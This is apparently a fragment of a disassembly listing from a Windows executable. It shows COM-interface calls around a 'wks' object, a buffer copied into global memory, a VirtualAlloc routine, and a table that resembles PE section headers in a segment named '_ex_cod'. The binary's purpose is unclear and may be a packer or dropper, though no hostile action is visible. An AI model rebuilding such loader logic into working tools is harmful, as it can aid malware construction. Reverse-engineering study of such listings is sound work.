lea eax, [ebp+var_4]
push eax
push offset loc_5011F0
push (offset loc_5011FD+3)
push 2
push offset aWks ; "wks"
push ebx
call [ebp+var_18]
mov esi, eax
cmp esi, ebx
jl loc_50296C
mov eax, [ebp+var_4]
push eax
mov ecx, [eax]
call dword ptr [ecx+28h]
mov esi, eax
cmp esi, ebx
jl loc_50296C
mov eax, [ebp+var_4]
lea edx, [ebp+var_8]
push edx
push eax
mov ecx, [eax]
call dword ptr [ecx+34h]
mov esi, eax
mov eax, [ebp+var_8]
cmp esi, ebx
jl loc_50296F
mov ecx, [eax]
lea edx, [ebp+var_14]
push edx
push offset dword_501048
push eax
call dword ptr [ecx]
mov esi, eax
cmp esi, ebx
jl loc_50296C
push [ebp+arg_4]
push ebx
push 11h
call [ebp+var_20]
cmp eax, ebx
mov [ebp+var_18], eax
jz loc_502A08
lea ecx, [ebp+var_28]
mov [ebp+var_28], ebx
push ecx
push eax
call [ebp+var_24]
mov esi, eax
cmp esi, ebx
jl short loc_502963
mov ecx, [ebp+arg_4]
mov esi, [ebp+arg_0]
mov edi, [ebp+var_28]
mov eax, ecx
shr ecx, 2
rep movsd
push [ebp+var_18]
mov ecx, eax
and ecx, 3
rep movsb
call [ebp+var_2C]
mov esi, eax
cmp esi, ebx
jl short loc_502963
mov eax, [ebp+var_14]
lea edx, [ebp+var_10]
push edx
push [ebp+var_18]
mov ecx, [eax]
push eax
call dword ptr [ecx+0B4h]
mov esi, eax
cmp esi, ebx
jl short loc_502963
mov eax, [ebp+var_10]
lea edx, [ebp+var_C]
push edx
push eax
mov ecx, [eax]
call dword ptr [ecx+40h]
mov esi, eax
cmp esi, ebx
jl short loc_502963
lea eax, [ebp+var_48]
push eax
call [ebp+var_30]
push ebx
push ebx
sub esp, 10h
lea esi, [ebp+var_48]
mov edi, esp
mov eax, [ebp+var_C]
movsd
mov ecx, [eax]
push eax
movsd
movsd
movsd
call dword ptr [ecx+94h]
mov esi, eax
cmp esi, ebx
jge short loc_5029B4
loc_502963: ; CODE XREF: sub_50275E+18Dj
; sub_50275E+1B0j ...
push [ebp+var_18]
call [ebp+var_34]
call [ebp+var_38]
loc_50296C: ; CODE XREF: sub_50275E+FCj
; sub_50275E+11Fj ...
mov eax, [ebp+var_8]
loc_50296F: ; CODE XREF: sub_50275E+14Cj
; sub_50275E+266j
cmp eax, ebx
jz short loc_502979
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_502979: ; CODE XREF: sub_50275E+213j
mov eax, [ebp+var_4]
cmp eax, ebx
jz short loc_502986
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_502986: ; CODE XREF: sub_50275E+220j
mov eax, [ebp+var_C]
cmp eax, ebx
jz short loc_502993
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_502993: ; CODE XREF: sub_50275E+22Dj
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_5029A0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_5029A0: ; CODE XREF: sub_50275E+23Aj
mov eax, [ebp+var_14]
cmp eax, ebx
jz short loc_5029AD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_5029AD: ; CODE XREF: sub_50275E+247j
mov eax, esi
jmp loc_502A4C
; ---------------------------------------------------------------------------
loc_5029B4: ; CODE XREF: sub_50275E+203j
mov eax, [ebp+var_4]
push eax
mov ecx, [eax]
call dword ptr [ecx+2Ch]
mov esi, eax
mov eax, [ebp+var_8]
cmp esi, ebx
jl short loc_50296F
cmp eax, ebx
jz short loc_5029D0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_5029D0: ; CODE XREF: sub_50275E+26Aj
mov eax, [ebp+var_4]
cmp eax, ebx
jz short loc_5029DD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_5029DD: ; CODE XREF: sub_50275E+277j
mov eax, [ebp+var_C]
cmp eax, ebx
jz short loc_5029EA
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_5029EA: ; CODE XREF: sub_50275E+284j
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_5029F7
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_5029F7: ; CODE XREF: sub_50275E+291j
mov eax, [ebp+var_14]
cmp eax, ebx
jz short loc_502A04
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_502A04: ; CODE XREF: sub_50275E+29Ej
xor eax, eax
jmp short loc_502A4C
; ---------------------------------------------------------------------------
loc_502A08: ; CODE XREF: sub_50275E+B0j
; sub_50275E+B9j ...
mov eax, [ebp+var_8]
cmp eax, ebx
jz short loc_502A15
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_502A15: ; CODE XREF: sub_50275E+2AFj
mov eax, [ebp+var_4]
cmp eax, ebx
jz short loc_502A22
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_502A22: ; CODE XREF: sub_50275E+2BCj
mov eax, [ebp+var_C]
cmp eax, ebx
jz short loc_502A2F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_502A2F: ; CODE XREF: sub_50275E+2C9j
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_502A3C
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_502A3C: ; CODE XREF: sub_50275E+2D6j
mov eax, [ebp+var_14]
cmp eax, ebx
jz short loc_502A49
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_502A49: ; CODE XREF: sub_50275E+2E3j
or eax, 0FFFFFFFFh
loc_502A4C: ; CODE XREF: sub_50275E+251j
; sub_50275E+2A8j
pop edi
pop esi
pop ebx
leave
retn
sub_50275E endp
; =============== S U B R O U T I N E =======================================
sub_502A51 proc near ; CODE XREF: start+C6p start+CFp ...
arg_0 = dword ptr 4
mov eax, ds:dword_501030
test eax, eax
jnz short loc_502A72
push 4
push 1000h
push 1E9h
push eax
call ds:dword_5010D8 ; VirtualAlloc
mov ds:dword_501030, eax
loc_502A72: ; CODE XREF: sub_502A51+7j
push esi
push eax
push 158h
push offset dword_501210
call sub_501368
mov esi, [esp+10h+arg_0]
mov edx, ds:dword_501030
add esp, 0Ch
test esi, esi
jle short loc_502AA9
push edi
loc_502A95: ; CODE XREF: sub_502A51+55j
mov edi, edx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
dec esi
lea edx, [edx+ecx+1]
jnz short loc_502A95
pop edi
loc_502AA9: ; CODE XREF: sub_502A51+41j
mov eax, edx
pop esi
retn
sub_502A51 endp
; ---------------------------------------------------------------------------
align 10h
dword_502AB0 dd 0F4h, 0Dh dup(0) dd 0E5000h, 1A040h, 400h, 0E6000h, 1AB00h, 1, 101450h
dd 400000h, 10Eh, 0E0000h, 0E1000h, 1, 0
dd 1, 0
dd 4CC70h, 4, 1, 400h, 33000h, 1000h, 32FD3h, 60000020h
dd 1, 400h, 2600h, 34000h, 2530h, 40000040h, 1, 400h, 11A00h
dd 37000h, 0A869Dh, 0C0000040h, 1, 400h, 1000h, 0E0000h
dd 0EDCh, 0C0000040h, 6 dup(0)
_ex_cod ends
; Section 4. (virtual address 00103000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00102C00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 503000h
align 2000h
_idata2 ends
end start